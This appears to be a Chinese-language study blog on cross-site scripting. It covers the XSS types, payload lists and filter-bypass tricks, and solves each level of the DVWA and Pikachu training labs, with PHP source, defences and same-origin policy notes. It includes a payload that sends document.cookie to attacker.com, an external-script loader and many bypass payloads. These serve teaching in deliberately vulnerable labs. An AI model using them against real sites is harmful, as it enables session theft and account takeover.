0%

dvwa&pikachu之xss

xss属于top10漏洞之一,之前或多或少接触了解过,不过这次准备全面学习一手

xss介绍

XSS(Cross-Site Scripting,跨站脚本攻击)(与css进行区别) 是一种常见的Web安全漏洞,攻击者通过在目标网站上注入恶意脚本(通常是JavaScript),使得这些脚本在其他用户的浏览器中执行。XSS攻击可以窃取用户数据(如Cookie、Session Token)、篡改网页内容、重定向用户到恶意网站,甚至进行更高级的攻击(如CSRF、键盘记录等)。

xss存在的原因

Web应用程序对用户输入数据的不充分过滤和验证,导致恶意脚本被注入到网页中并在其他用户的浏览器中执行。

xss的分类

分为:存储型、反射型、DOM型

存储型XSS(Persistent XSS)

是一种恶意脚本被永久存储在目标服务器(如数据库、文件系统、评论区等)的XSS攻击方式。当其他用户访问受影响页面时,存储的恶意脚本会自动加载并执行,无需用户点击特殊链接。

示例场景

(1)评论区XSS

1
2
3
4
<!-- 攻击者提交的评论 -->
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

该评论被存入数据库。其他用户访问该页面时,脚本自动执行,发送他们的Cookie到攻击者服务器

(2)用户名XSS

1
2
<!-- 攻击者注册的用户名 -->
<img src="x" onerror="alert('XSS')" />
  • 用户名显示在所有页面(如论坛、用户列表)。
  • 其他用户浏览时触发onerror,执行恶意代码。

图片

反射型XSS(Reflected Cross-Site Scripting)

是一种恶意脚本不会存储在服务器上,而是通过URL参数、表单提交等方式反射回浏览器并执行的XSS攻击方式。

示例场景

(1)搜索框反射XSS

1
https://example.com/search?query=<script>alert('XSS')</script>
  • 如果网站直接返回 query 参数到HTML页面:
1
<div>您搜索的内容:<script>alert('XSS')</script></div>

访问该URL时,脚本被执行。

图片

DOM型XSS(Document Object Model-based XSS)

是一种完全在客户端浏览器中发生的XSS攻击,恶意代码通过修改DOM环境执行,不经过服务器。与反射型/存储型XSS不同,DOM型XSS的漏洞存在于前端JavaScript代码中。

以下 JavaScript 操作可能触发 DOM XSS:

危险操作 示例 风险
直接修改 innerHTML element.innerHTML = userInput 插入的 HTML 会被解析
动态执行脚本 eval(userInput) 直接执行字符串代码
未转义的 URL 处理 location.href = userInput 可能触发 javascript: 伪协议
不安全的 DOM API document.write(userInput) 直接写入原始 HTML

示例场景

(1)不安全的 innerHTML 操作

1
2
3
// 从URL获取参数并直接插入DOM
const payload = decodeURIComponent(window.location.hash.substring(1));
document.getElementById("content").innerHTML = payload;

攻击者构造URL:

1
http://example.com/#<img src=x onerror=alert('XSS')>

访问后,onerror 触发XSS。

三种xss区别:

类型 数据来源 触发位置 是否依赖服务器
DOM 型 URL/前端存储 纯前端处理 ❌ 不依赖
反射型 URL 参数 服务器返回恶意脚本 ✅ 依赖
存储型 数据库/存储 服务器返回恶意脚本 ✅ 依赖

XSS的攻击载荷

以下所有标签的 > 都可以用 // 代替,例如 < script> alert(1) </script//

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<script>标签:<script>标签是最直接的XSS有效载荷, 脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中
-----------------------------
<script>alert("hello")</script> #弹出hello
<script>alert(/hello/)</script> #弹出hello
<script>alert(1)</script> #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script> #document 是 浏览器提供的全局 JavaScript 对象,可以弹出cookie
<script src=http://xxx.com/xss.js></script> #引用外部的xss
------------------------------
<svg>标签:
------------------------------
<svg onload="alert(1)">
<svg onload="alert(1)"//
------------------------------
<img>标签:
------------------------------
<img src=0 onerror=alert("xss")>
<img src=0 onerror=alert(document.cookie)> #弹出cookie
------------------------------
<body>标签:
------------------------------
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
------------------------------
<video>标签:
------------------------------
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
------------------------------
<Style>标签:
------------------------------
<style οnlοad=alert(1)></style>
------------------------------

XSS漏洞的挖掘

一般情况下,反射型XSS在搜索框啊,或者是页面跳转啊这些地方,而存储型XSS一般是留言,或者用户存储的地方,而DOM呢?是在DOM位置上,不取决于输入环境上。

XSS的简单绕过滤和绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1.区分大小写过滤标签:
过滤:$name=preg_replace("/<script>/","",$name); //过滤<script>
$name=preg_replace("/<\/script>/","",$name); //过滤</script>
绕过:可以使用大小写绕过 <scripT>alert('hack')</scripT>
----------------------------------
2.不区分大小写过滤标签:/i:不区分大小写
过滤:$name=preg_replace("/<script>/i","",$name); //不区分大小写过滤 <script>
$name=preg_replace("/<\/script>/i","",$name); //不区分大小写过滤 </script>
绕过:可以使用嵌套的script标签绕过:<scr<script>ipt>alert('hack')</scr</script>ipt>
----------------------------------
3.不区分大小写,过滤之间的所有内容:
过滤:$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //过滤了<script 及其之间的所有内容
绕过虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件
或者iframe等标签的 rc注入恶意的js代码。
<img src=1 οnerrοr=alert('hack')>

dvwa

Reflected型xss

low:

1
payload:<script>alert("x")</script>

图片

源码:

1
2
3
4
5
6
7
8
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

未对输入内容过滤,导致反射xss

medium:

1
payload:<Script>alert("xss")</Script>

这里可以用大小写,也可以用双写绕过;

图片

源码:

1
2
3
4
5
6
7
8
9
10
11
 <?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello {$name}</pre>";
}
?>

high:

1
2
payload: <img src=0 onerror=alert("xss")>
或者<img src=0 onerror=alert(document.cookie)>

图片

图片

源码:

1
2
3
4
5
6
7
8
9
10
11
 <?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello {$name}</pre>";
}
?>

很明显这里无法双写和大小写绕过

impossible :

因为绕不了来看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello {$name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();
?>

用到了htmlspecialchars函数校验,默认会转义<, >, &, ",'等特殊字符

Store型XSS

low:

1
payload:<script>alert("xss")</script>

图片

可见被写入了服务器中:

图片

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] ); #获取用户输入的留言内容(mtxMessage)和名字(txtName)
$name = trim( $_POST[ 'txtName' ] ); #trim()函数去除首尾空白字符

// Sanitize message input
$message = stripslashes( $message ); #stripslashes():去除反斜杠
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); #mysqli_real_escape_string():对字符串进行SQL转义(防SQL注入)

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}
?>

medium:

这里在message中加入xss内容一直不行,于是想到在name里面加入,但是有输入长度限制,可以使用抓包发送:

图片

图片

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}
?>

我们可以看到只对message参数使用了addslashes过滤,而name并没有,所以name存在xss

addslashes() 函数主要用于在特定字符前添加反斜杠进行转义,这些字符包括:单引号 ('),双引号 ("),反斜杠 (\),NULL 字符

防止sql注入;还用到了mysqli_real_escape_string()防止sql注入

htmlspecialchars() 是 PHP 中专门用于防御 XSS 攻击的核心函数,该函数将以下特殊字符转换为 HTML 实体:

1
2
3
4
5
& → &amp;
" → &quot; (当 ENT_NOQUOTES 未设置时)
' → &#039; (当 ENT_QUOTES 设置时)
< → &lt;
> → &gt;

可见这里将我们xss所用到的字符都给转义了,这种是绕不了的,看到了就放弃吧

high:

1
payload:txtName=<img src=0 onerror=alert(document.cookie)>

图片

图片

和上面的中级一样,只能用txtname参数,不过这次过滤了<script>,改用其他标签即可

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 <?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

impossible:

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );

// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

mysqli_real_escape_stringhtmlspecialchars这两个函数基本能防御绝大多数sql注入和xss

dom型xss

low:

这里只有可选框,没有一个输入框,但我们可以尝试控制url的参数,而不一定非要通过可选框控制:

1
payload:?default=<script>alert(document.cookie)</script>

图片

源码:

1
2
3
4
5
 <?php

# No protections, anything goes

?>

medium:

前置知识:

1
浏览器在渲染<select>和<option>标签时,option的内容(无论是标签体还是value属性)都只会被当作纯文本显示,而不会解析为HTML或执行其中的JavaScript代码。因此,即便在value或标签体中插入了<img>标签或onerror事件,浏览器也不会把它当作HTML标签处理,而是直接显示出来

测试:?default=<img src=0 onerror=alert(document.cookie)>

并没有弹窗,f12查看源码:

图片

写入的语句被写在<select>标签,所以不会被当作js内容解析,解决的办法就是我们注入的语句最前面加上</select>,主动去闭合前面的<select>

1
payload:?default=</select><img src=0 onerror=alert(document.cookie)>

图片

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];

# Do not allow script tags
if (stripos ($default, "<script") !== false) { #只过滤了script
header ("location: ?default=English");
exit;
}
}

?>

high:

1
payload:?default=English#<script>alert("xss")</script>

图片

这里的服务器和前端处理方式不一样:服务器看到的 default 参数:English# 后面的内容被忽略),但前端 JavaScript 读取的是完整 URL,前端就会生成:

1
<option value='English#<script>alert("xss")</script>'>English#<script>alert("xss")</script></option>

我们看下区别:

图片

图片

提示:medium也可以用#绕过后端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>

impossible:

1
2
3
<?php 
# Don't need to do anything, protection handled on the client side
?>

图片

我们输入的内容只会经过url编码处理,所以无法形成xss

pikachu

经过dvwa

反射型xss(get)

1
payload:<script>alert("xss")</script>

图片

图片

因为输入框长度受限,或者在url中输入也可以

反射型xss(post)

根据提示,账号密码为admin:123456,也可以爆破出来

1
paylaod:<script>alert(document.cookie)</script>

图片

存储型xss

1
paylaod:<script>alert(document.cookie)</script>

每当我们一刷新页面就会弹窗出cookie,因为代码写入了服务器里,这就是与反射型的区别

dom型xss

注入:<img src="x" onerror="alert('XSS')">无反应,但提示我们'>

1
payload:'><img src="x" onerror="alert('XSS')">

来看下前后的区别:

图片图片

可以看出后者是用'>将href的链接给闭合了,所以注入成功,看下源码就明白了

图片

dom型xss-x

先看下源码如何处理的:

图片

和上面一样都是将输入的内容写入href链接中,我们需要主动闭合,我们需要先点击有些费尽心机想要忘记的事情,后来真的就忘掉了这个链接,然后才会触发domxss函数里的xss内容

1
paylaod:'><img src="x" onerror="alert('XSS')">

图片

按照提示给的payload也可以,不过触发的条件不一样,第一个是移动鼠标到那个位置,另一个是需要点击

xss之盲打

给出的页面类似一个留言板,两个输入框都输入xss语句:<script>alert(document.cookie)</script>,刷新并没有任何反应,查看源码:

图片

不知道写入的数据如何处理的,但给了提示,登录后台,账号密码:admin/123456,然后就直接弹窗了:

图片

我们看到这里是以admin登录的,这种存储型xss,如果cookie被发送到恶意服务器,就会产生安全威胁

xss之过滤

不知道过滤了什么,只能一个一个试,

1
<script><Script>,<scr<script>,以及其他标签

发现<Script>就可以弹窗,但是弹不出来cookie不知道为啥,看前端源码不知道怎么处理的,只能看后端的处理

图片

这种双写绕不了,只能大小写,或者更换标签(这种属于反射型,由服务器处理传送回前端)

xss之htmlspecialchars

htmlspecialchars函数用于防范xss,一般会过滤:',",<,>,&这几个字符,我们在输入框输入这几个字符,看看有没有没被过滤的字符

图片

查看前端源码:

图片

发现服务器返回的数据又被拼接到href中,上面的圈二和四是我们输入的单引号,并没有被转移,所以后端并未对单引号做处理,于是我们可以用单引号闭合href原先的左单引号

1
paylaod:#' onclick='alert(document.cookie)

alert左边单引号用于闭合原先href的右单引号,上面payload的#可写可不写,主要是为了闭合

htmlspecialchars默认不对单引号处理

xss之href输出

先看看有没有过滤,使用' " < > &测试,查看前端源码:

图片

发现都被转义了,虽然<a>标签的 href 属性用于指定超链接目标的 URL,但href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。如果用户选择了<a>标签中的内容,那么浏览器会尝试检索并显示 href 属性指定的 URL 所表示的文档,或者执行 JavaScript 表达式、方法和函数的列表。

利用javascript表达式生成payload:

1
payload:javascript:alert(document.cookie)

图片

查看后端处理:

图片

ENT_QUOTES:用于开启编码双引号和单引号

xss之js输出

测试:</script><script>alert(document.cookie)</script>,没反应,查看源码:

图片

发现我们输入的语句经过服务器传递给了$ms,被包含在了<script>标签中,那如果我们主动闭合一个</script>标签,那我们的命令是不是就能执行了???,

1
paylaod:</script><script>alert(document.cookie)</script>

图片

其实还有一种方法,也是主动去闭合,我们看到我们写入的语句被单引号包括,如果我们主动闭合左单引号,紧接一个分号,那么当前js语句就终止了

1
payload:';alert(1);//

<img> 是 HTML 标签,需插入到 DOM 后才会被解析。直接写在 <script> 中会被视为无效语法。

xss的防御

  • 设置关键词黑名单:包括” ‘ ”,” “ ”,”<”,”>” “on*”等非法字符。
  • 设置http-only:只要 cookie 中含有 Http-only 字段,那么任何 JavaScript 脚本都没有权限读取这条 cookie 的内容
  • 使用html实体编码等
  • SOP同源策略:SOP把拥有相同主机名 、协议和端口的页面视为同一来源。不同来源的资源之间交互是受到限制的。

xss常用Payload

1
2
3
4
5
6
7
8
1. '"><script>alert(1)</script>
2. '"><img src=x onerror=alert(1)>
3. '"><svg onload=alert(1)>
4. '"><a href=javascript:alert(1)> 超链接绕过
5. javascript:alert(1) unicode编码绕过 xss-labs 8
5. '"><details open ontoggle= confirm(document[`coo`+`kie`])>
6. onclick='alert(1) 事件绕过,不需要闭合
7. 针对script可以大小写和双写绕过

实际场景中:一般情况下,反射型XSS在搜索框啊,或者是页面跳转啊这些地方,而存储型XSS一般是留言,或者用户存储的地方,而DOM呢?是在DOM位置上,不取决于输入环境上。

大多反射型都需要去闭合前面的标签(我们可以用上面的payload),存储和dom型可能不需要

js学习

JavaScript(JS)是一种多用途的脚本语言,主要用于 网页交互应用开发

<script>元素用于嵌入可执行代码或数据,这通常用作嵌入或者引用 JavaScript 代码,所以在<script>标签中输入<image><svg><body>等常规html标签都是无效的

js在html中两种使用方式:

图片

DOM学习

DOM(文档对象模型) 是浏览器将 HTML/XML 文档解析成的 树形结构对象,允许 JavaScript 动态访问和操作网页内容、结构和样式

1. DOM 的本质

  • 浏览器解析 HTML 后生成的树状结构,每个标签、属性、文本都是树的节点(Node)。
  • 编程接口:提供 JavaScript 操作网页的 API(如修改内容、添加事件等)。

2. DOM 节点类型

节点类型 说明 示例
文档节点 (Document) 整个文档的根节点 document
元素节点 (Element) HTML 标签(如 <div> document.getElementById()
属性节点 (Attr) 标签的属性(如 class="box" element.getAttribute()
文本节点 (Text) 标签内的文本内容 node.textContent
注释节点 (Comment) HTML 注释 <!-- 注释 -->

同源策略

同源策略是浏览器实施的一种安全机制,它限制了一个源的文档或脚本如何与另一个源的资源进行交互。

同源的定义:两个URL在以下三个方面完全相同:

  1. 协议相同(http/https)
  2. 域名相同(包括子域名)
  3. 端口号相同

http://www.example.com/dir/page.html为例:

对比URL 结果 结果
http://www.example.com/dir/page2.html 同源 相同的协议,主机,端口
http://www.example.com/dir2/other.html 同源 相同的协议,主机,端口
http://username:password@www.example.com/dir2/other.html 同源 相同的协议,主机,端口
http://www.example.com:81/dir/other.html 不同源 相同的协议,主机,端口不同
https://www.example.com/dir/other.html 不同源 协议不同
http://en.example.com/dir/other.html 不同源 不同主机
http://example.com/dir/other.html 不同源 不同主机(需要精确匹配)
http://v2.www.example.com/dir/other.html 不同源 不同主机(需要精确匹配)
http://www.example.com:80/dir/other.html 看情况 端口明确,依赖浏览器实现
  • 有同源策略:就像每家商店有自己的门禁系统,小偷需要分别突破
  • 没有同源策略:所有商店共用同一把钥匙,突破一家等于突破所有
攻击方式 是否需要银行有XSS? 是否依赖同源策略?
XSS攻击 ✅ 需要 ❌ 不依赖(XSS是同源攻击)
无同源策略的跨域AJAX ❌ 不需要 ✅ 依赖(无SOP才能跨域)
CSRF(跨站请求伪造) ❌ 不需要 ✅ 依赖(SOP限制部分CSRF)
直接读取DOM/Cookie ❌ 不需要 ✅ 依赖(SOP阻止跨域访问)

图片

跨域请求

当请求的目标URL与当前页面的源不同时,就发生了跨域请求。浏览器会阻止这类请求的响应,除非服务器明确允许。

跨域请求示例:假设当前页面URL是 http://www.example.com/index.html,以下请求会被视为跨域:

  1. https://www.example.com/api 发送AJAX请求
    • 原因:协议不同(http vs https)
  2. http://api.example.com/data 获取数据
    • 原因:域名不同(www vs api子域名)
  3. http://www.example.com:8080/service 请求服务
    • 原因:端口不同(80 vs 8080)
  4. http://anotherdomain.com/resource 获取资源
    • 原因:完全不同的域名

解决跨域问题的方法

CORS (跨域资源共享)

案例背景:小明在开发了一个A网站(用来记录本公司的设备信息),访问地址是https://www.a.com,需要使用ajax请求**B服务器**上的数据,但是又苦于同源策略的限制…… 后来找到了一种解决方法CORS

基本流程

  1. 浏览器检测到跨域请求:当A网站的JavaScript尝试向B服务器发送AJAX请求时
  2. 自动添加Origin头:浏览器自动在请求头中添加Origin: https://www.a.com
  3. 服务器响应CORS头:B服务器需要在响应中包含特定的CORS头
  4. 浏览器检查响应头:浏览器验证响应头是否允许当前源访问
  5. 允许/阻止请求:根据验证结果决定是否让前端代码访问响应数据

最推荐的标准解决方案,需要后端配合设置响应头:

1
2
3
4
5
Access-Control-Allow-Origin: https://yourdomain.com  // 或 * (不推荐)
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true // 如需携带cookie
Access-Control-Max-Age: 86400 // 预检请求缓存时间(秒)

JSONP (仅限GET请求)

JSONP(JSON with Padding)是一种早期解决跨域问题的技术,它利用<script>标签不受同源策略限制的特性来实现跨域数据获取。

核心特点

  • 仅支持GET请求:这是其最大限制
  • 无需服务器特殊配置:不像CORS需要服务器设置响应头
  • 逐渐被淘汰:现代开发推荐使用CORS

JSON、JSONP的区别:
1、JSON返回的是一串数据、JSONP返回的是脚本代码(包含一个函数调用)
2、JSONP 只支持get请求、不支持post请求

其余方法 原理 实现方式
代理服务器 通过同源服务器中转请求 Nginx反向代理 ,Node.js中间层代理 ,开发服务器代理
document.domain 修改document.domain实现子域间通信 设置相同父域 :如document.domain = "example.com"
图像ping 利用<img>标签发送简单请求 动态创建<img>标签,设置src为目标URL
WebSocket 基于TCP的全双工通信协议 建立WebSocket连接,通过该连接进行双向通信
postMessage API HTML5提供的跨文档通信API 发送方调用targetWindow.postMessage() 接收方监听message事件
window.name 利用window.name在不同页面间传递数据 设置iframe的window.name, 跳转到同源页面后读取

因为初次学习,所以参考了许多博主的blog:

参考文章:

https://blog.csdn.net/weixin_40950781/article/details/100007103

https://www.cnblogs.com/heiwa-0924/p/12520547.html

https://www.freebuf.com/articles/web/253523.html

https://blog.csdn.net/m0_46467017/article/details/124747885

https://blog.csdn.net/bylfsj/article/details/102917690